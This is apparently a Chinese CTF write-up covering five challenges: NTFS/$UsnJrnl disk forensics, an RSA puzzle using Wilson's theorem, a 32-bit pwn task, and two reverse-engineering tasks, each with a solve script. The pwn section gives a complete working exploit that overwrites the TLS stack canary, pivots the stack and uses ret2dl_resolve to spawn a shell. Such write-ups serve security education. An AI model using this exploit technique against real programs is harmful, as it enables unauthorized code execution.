【i春秋杯网络安全联赛WriteUp】

2020-03-02 8,545

投稿:Venom

配图:sixwhale





恭喜此次团队pcat、line担任专家,下面针对团队出的五道题进WP分享。

Misc

磁盘套娃 | Adolph

解题思路
通过题目描述了解题目“一个熟悉的格式却是一个神秘的磁盘,磁盘内隐藏着某种不为人知的秘密”,解压题目压缩包发现是一个vhd格式文件,于是对该磁盘文件进行分析,在此使用winhex对磁盘进行分析(其他分析工具均可,因习惯而异)。加载磁盘后发现分区格式为NTFS,分析分区内容,发现删除文件dekart_priviate_disk加密容器软件夹和名为easy_disk的加密磁盘,于是导出待分析磁盘文件,并尝试使用priviate disk软件尝试加载该加密磁盘文件

通过使用dekpart private disk加载磁盘发现该容器需要密码进行加载,接下来的思路转化为寻找容器的解密密码,题目描述提示格式,于是对ntfs分区开展分析,在对文件系统进行痕迹分析时,文件系统的元数据文件是关键,经过对元数据分析发现该文件系统存在$UsnJrnl的记录,$J文件记录了文件系统的操作记录,导出$J文件进行痕迹分析。在取证分析的实战中,通过$J文件还原行为人的操作行为记录是非常关键,即使文件系统的文件记录项被删除依然可以证明文件的曾经存在,此题中的MFT表项中已经彻底擦除了密码文件。关于$J文件解析的字节位关系如下表:

通过对$j文件的分析可以发现该ntfs文件系统除了上述提及的文件外还曾经操作过文件名9o7@Xs78I0.txt的文件,使用该文件名作为密码成功解密加密容器

解密加密容器后会提示文件系统格式存在问题,系统提示格式化,于是检查该容器磁盘。检查发现该分区内的引导扇区存在异常,即0扇区偏移16进制数的00-10被擦除写0,通过DBR残余记录可判断为FAT分区。

依据FAT分区的磁盘结构,手动恢复被擦除的DBR引导记录的字节,FAT分区的00-0A偏移位置是跳转指令和固定的厂商标志和os版本EB 58 90 4D 53 44 4F 53 35 2E 30为MSDOS5.0的ASCII代码,FAT分区通常存放两个FAT表,FAT2备份FAT1表示簇占用情况,winhex中可以使用数据查看器辅助填写恢复数据。

除了手工填写外快捷的DBR恢复:使用private disk加密重启创建一个大小30M的加密分区按默认配置格式化后将其DBR的引导记录直接复制到被损坏擦除的题目容器),保存修改后重新连接容器,使用winhex进行磁盘快照更新后即可打开正常磁盘,可获取根目录下flag。考虑到手动恢复磁盘DBR的复杂度于是将flag文件以txt形式进行存放,将考察的重点放置到$J文件的分析中,该题的flag在解开加密容器后也可通过字节搜索关键词的方式获取。

Crypto

simple_math | Shimmer

解题思路
通过阅读代码可知,题目使用RSA加密了flag,并且只给出了参数E,及其对应的密文ciphertext。由于没有给出N,所以易知需要从gen_p和gen_q函数中解得加密所使用的参数P和_Q。
查看gen_p函数,可获得如下信息:

可知,要得到_P,必须先推出N1和N2。其中A为素数,并且A,C已知。由题目中的求阶乘容易联想到Wilson定理:
即,当且仅当p为素数时有 (p-1)!=-1 (mod p)。
N1的推导过程如下:
N2的推导过程如下:

此步参考 2019 Roar CTF BabyRSA
链接:https://www.cnblogs.com/wayne-tao/p/11723494.html
由此可得RSA得参数之一_P。
查看gen_q函数,可知也是一个RSA,已知其中的参数n,ed,并且_Q=nextPrime(2020p-2019*q),所以要得到_Q,就要先对n进行分解得到p和q。可以使用如下方法对n进行分解:
null

代码如下:

k=ed-1
x=pow(2,k//(2**6),n)
assert(x!=1)
p=gcd(x-1,n)
q=n//p
此步参考 2019 神盾杯 easyRSA
链接:http://soreatu.com/ctf/writeups/Writeup%20for%20easyRSA%20in%202019%E7%A5%9E%E7%9B%BE%E6%9D%AF.html
由此可得RSA得参数之一_Q。
至此,已得RSA参数E,P,_Q
import sympy
from gmpy2 import gcd,invert
from Crypto.Util.number import long_to_bytes

A=17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928699539
C=17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928632158
n= 641840878174982655326850312496169636378455577115347500957057267640600977102280072913438154955029114771051709087809927454279064916870408880749853740239718248642560401110078626938726443568692572803490357236810832674229312155746539894173791356805341671586393273678865952155249500341932905426105470392415353610397045835698808163501258474762363712287163328526252399904787053101799058499120606154737990300449437479282435046167055009692493712202386368849122605419812883126887833074654434641607372149411668612504466768080306339558792828063148576123738980431264608446603326193849200810553196864085478463086993422774817059853949748247896512719994166090254440232652496451104455075071560127966288341488523110118075041150491577844082366096788215046025436488554795141938458493258409150407281215473354273599246314944034941237527510171900646139987019380766717951556307441871365874564881565374638513827494801194029940895912077179028101890662760455651864691251980479400416227456995236912364846811949410786643764713673564022863007331006828562341241738846980912184411395632790556038655767763976115640962139547171909279164623846000835333857705944581269631616760405747716520672142021728850694537269211784578408601266217928819863736428173736140161826738813
ed= 534634151124279413732259524933495479098721499860333007593590357554306358799023578194908726136928354695079848972480649724456088941906723794709312712191247045425297126517594344899286925836796680956816064609089090503579894117057252969264121691849003333804607728687046319857910698511132867345476426833313854575436202087209472834349551593011689755514138197238955298350562839877955001729313715223006875793667570760703418551390980455326976431990257513342820095246552412287184147009729875110446230949824384166464485840066906862476445054049749692262294734099027915906839812656254886862402603631321290156949953461665657610306709058617222159635281067103921037090824796905267992798715820128476225045484793453227511548884919811033318570386881936137713666127231317606909893143214808788822341878386939352957962886113639632559883992777992209148001401767753558732492213499792179169681405789041595765504039612494711563472885565786566625643290565526077483663342991770220261962082523632475094223960703649343802215392245948547397211539801128773253646005228684994277460378625729491412757387260415740823541731482803143732545953736392746596116269262129834845033889284145602522548909021358829175225208236295389454408336909318816490014229410357900614079212880259236238467905

def fast_gen_N2(A,C):
    result=1
    for i in range(A-2,C,-1):
        result=(result*i)%A
    return invert(result,A)
N1=1
N2=fast_gen_N2(A,C)
seed1=2019*N1+2020*N2

k=ed-1
x=pow(2,k//(2**6),n)
assert(x!=1)
p=gcd(x-1,n)
q=n//p
if(p>q):
    p,q=q,p
seed2=2020*p-2019*q
if seed2<0:
    seed2=(-1)*seed2

_P=sympy.nextprime(seed1)
_Q=sympy.nextprime(seed2)
_N=_P*_Q
_E=65537
_D=invert(_E,(_P-1)*(_Q-1))
_C=183288709028723976658160448336519698700398459340947322152692016513169599029222514445118399653225032641541100129985101994918772329046946295962244096646038598600865786096896989355554955041779941259413115779915405468832327321189345505283184153652727885422718280179025251186380977491993641792341259672566237363655347151343020354489781675539571788934759950303331075098574759853670802171054084321131703969504258663714257549258635956184694450566287845760701724862418909255930636298209146539578608879672058346906370035692078859844402832322545368347681121504910035471822137023626638953992968941166744998545450662434365836169688461834868137046528403401190395486501502489519341656581057940794141420456022102711505759074332049547354944074402136763186087462931985682293826106916791831371302
_M=pow(_C,_D,_N)
print(long_to_bytes(_M))

Pwn

BFnote | b0ldfrev

解题思路
1.检查题目保护,发现开了CANARY与NX

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.发现存在栈溢出与堆地址任意偏移写任意值 可利用

unsigned int __cdecl main()
{
  signed int i; // [esp+4h] [ebp-54h]
  int size; // [esp+8h] [ebp-50h]
  char *v3; // [esp+Ch] [ebp-4Ch]
  int v4; // [esp+14h] [ebp-44h]
  char description; // [esp+1Ah] [ebp-3Eh]
  unsigned int v6; // [esp+4Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  menu();
  fwrite("nGive your description : "1u0x19u, stdout);
  memset(&description, 00x32u);
  myread(0, &description, 1536);   //栈溢出
  fwrite("Give your postscript : "1u0x17u, stdout);
  memset(&postscript, 00x64u);
  myread(0, &postscript, 1536);
  fwrite("nGive your notebook size : "1u0x1Bu, stdout);
  size = get_long();
  v3 = (char *)malloc(size);
  memset(v3, 0, size);
  fwrite("Give your title size : "1u0x17u, stdout);
  v4 = get_long();
  for ( i = v4; size - 32 < i; i = get_long() )   //重复输入
    fwrite("invalid ! please re-enter :n"1u0x1Cu, stdout);
  fwrite("nGive your title : "1u0x13u, stdout);
  myread(0, v3, i);
  fwrite("Give your note : "1u0x11u, stdout);
  read(0, &v3[v4 + 16], size - v4 - 16);  // 逻辑漏洞,错误的使用了重复输入之前的值,基于堆地址任意地址写
  fwrite("nnow , check your notebook :n"1u0x1Du, stdout);
  fprintf(stdout"title : %s", v3);
  fprintf(stdout"note : %s", &v3[v4 + 16]);
  return __readgsdword(0x14u) ^ v6;

3.当一个函数被调用,当前线程的tcbhead_t.stack_guard会放置到栈上(也就是canary),32位下gs寄存器指向tcb,可以细看源码。在函数调用结束的时候,栈上的值被和tcbhead_t.stack_guard比较,如果两个值是不 相等的,程序将会返回error并且终止。

typedef struct {   
void *tcb;        /* Pointer to the TCB.  Not necessarily the thread descriptor used by libpthread.  */   
dtv_t *dtv;   
void *self;       /* Pointer to the thread descriptor.  */   
int multiple_threads;   
int gscope_flag;   
uintptr_t sysinfo;   
uintptr_t stack_guard;   
uintptr_t pointer_guard;   
... } tcbhead_t

4.在glibc2.23-i386的环境下,main线程的tcb块被mmap初始化在libc内存布局上方。

►   0x8048772    mov    eaxdword ptr gs:[0x14] 
EAX  0x5ba0***0
pwndbg> search -p 0x5ba0***0
                0xf7e00714 0x5ba0***0
[stack]         0xffffcecc 0x5ba0***0
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/b0ldfrev/icq/BFnote
 0x8049000  0x804a000 r--p     1000 0      /home/b0ldfrev/icq/BFnote
 0x804a000  0x804b000 rw-p     1000 1000   /home/b0ldfrev/icq/BFnote
0xf7e00000 0xf7e01000 rw-p     1000 0      
0xf7e01000 0xf7fb1000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p     3000 0      
0xf7fd3000 0xf7fd4000 rw-p     1000 0      
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p    f0000 0      [stack]
可以看到canary在0xf7e00714这个地址刚好在libc-2.23.so代码段上方。
5.当调用malloc申请内存时,若size大于等 mmap分配阈值(默认值 128KB)0x200000时,malloc会调用mmap申请内存,且申请的内存可以观察到同样在libc上方。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/b0ldfrev/icq/BFnote
 0x8049000  0x804a000 r--p     1000 0      /home/b0ldfrev/icq/BFnote
 0x804a000  0x804b000 rw-p     1000 1000   /home/b0ldfrev/icq/BFnote
0xf7bff000 0xf7e01000 rw-p   202000 0      
0xf7e01000 0xf7fb1000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p     3000 0      
0xf7fd3000 0xf7fd4000 rw-p     1000 0      
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p    f0000 0      [stack]

6.利用思路就是在最开始栈溢出的时候将canary填成值A,并做好栈迁移的准备,在.bss构造resolve数据,申请notebook大小0x200000,使其地址在libc上方;tille大小故意输错成堆地址ptr到tcb中canary的偏移,二次输入时给一个正确值,这下在输入note内容时就可以修改tcb中canary的值为A。main函数返回时绕过canary检查,迁移去执行dl_rutime_resolve,有个坑是由于栈迁移,尽量迁移后抬到bss高地址处执行,resolve数据尽量放到比指令更高的地址。

7.EXP

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#[author]: b0ldfrev
p= process('./BFnote')
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        print "breakpoint_addr --> " + hex(text_base + 0x202040)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr))) 

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
dl_resolve_data="x80x21x00x00x00x00x00x00x00x00x00x00x12x00x00x00x37x66x66x5ax6dx59x50x47x60xa1x04x08x07x25x02x00x73x79x73x74x65x6dx00"
dl_resolve_call="x50x84x04x08x70x20x00x00"
canary=0xdeadbe00
postscript=0x804A060
#correct=0x804a428
payload1="1"*0x32+p32(canary)+p32(0)+p32(postscript+4+0x3a8)
ru("description : ")
sd(payload1)
payload2="s"*0x3a8+dl_resolve_call+p32(0x12345678)+p32(postscript+0x3b8)+"/bin/shx00"+p64(0)+dl_resolve_data
ru("postscript : ")
sd(payload2)
ru("notebook size : ")
sl(str(0x200000))
ru("title size : ")
sl(str(0x20170c-0x10))
ru("please re-enter :n")
sl(str(100))
ru("your title : ")
sl("2222")
ru("your note : ")
sd(p32(canary))
p.interactive()
8.程序我忘了设置sleep,所以还存在极小概率的canary爆破,比赛时间那么长,就3个字节嘛 ~ 手动狗头,如果各位大师傅还有非预期 欢迎讨论~

Reverse

42 | miaonei

解题思路
1.根据string找到main函数所在

Hook过程的函数

2.Hook之后的MessageBoxA为该函数

根据另一个字符串寻找flag的主要操作位置

3.该函数是flag的处理函数

检查汇编指令内容

找到flag处理主要函数,其中进行了简单的异或运算

a、b、c三个变量得到,算出为42及正常。
a=-80538473123155825
b=80435312222756674
c=12602435109592424
lift="3nder5tandf10@t"

num1=a^-80538738812075974
num2=b^80435758145817515
num3=c^12602123297335631

print(hex(num1),num2,num3)
array=[]
str_flag=''

for i in range(5):
    array.append(num3&0xff)
    num3=num3>>8
for i in range(5):
    array.append(num2&0xff)
    num2=num2>>8
for i in range(5):
    array.append(num1&0xff)
    num1=num1>>8
array.reverse()
print(array)
new=0
for i in range(len(array)):
    str_flag+=hex(ord(lift[i])^array[i])[2:]
str_flag=list(str_flag)
str_flag.insert(7,'-')
str_flag.insert(12,'-')
str_flag.insert(17,'-')
str_flag.insert(22,'-')
str_flag="".join(str_flag)
print("flag{"+str_flag+"}")

Code2 | PureT

解题思路
1.通过字符串定位法定位到关键点,分析代码逻辑

2.根据算法特征识别出关键算法是 XXTEA

3.往前推发现 XXTEA 的密钥是另一种算法的结果

4.根据算法特征识别出第一层算法是 arithmetic coding

5.已知编码表和压缩结果的情况下,编写解压脚本 exp.cpp
压缩结果从 base64 里解码得到

编码表字符概率

编码表字符集合

6.获得key,运行程序输入key,解密 XXTEA 跑出 flag


ChaMd5安全团队

本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/124293.html

Tags:
评论  (0)
快来写下你的想法吧!

ChaMd5安全团队

文章数:85 积分: 181

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号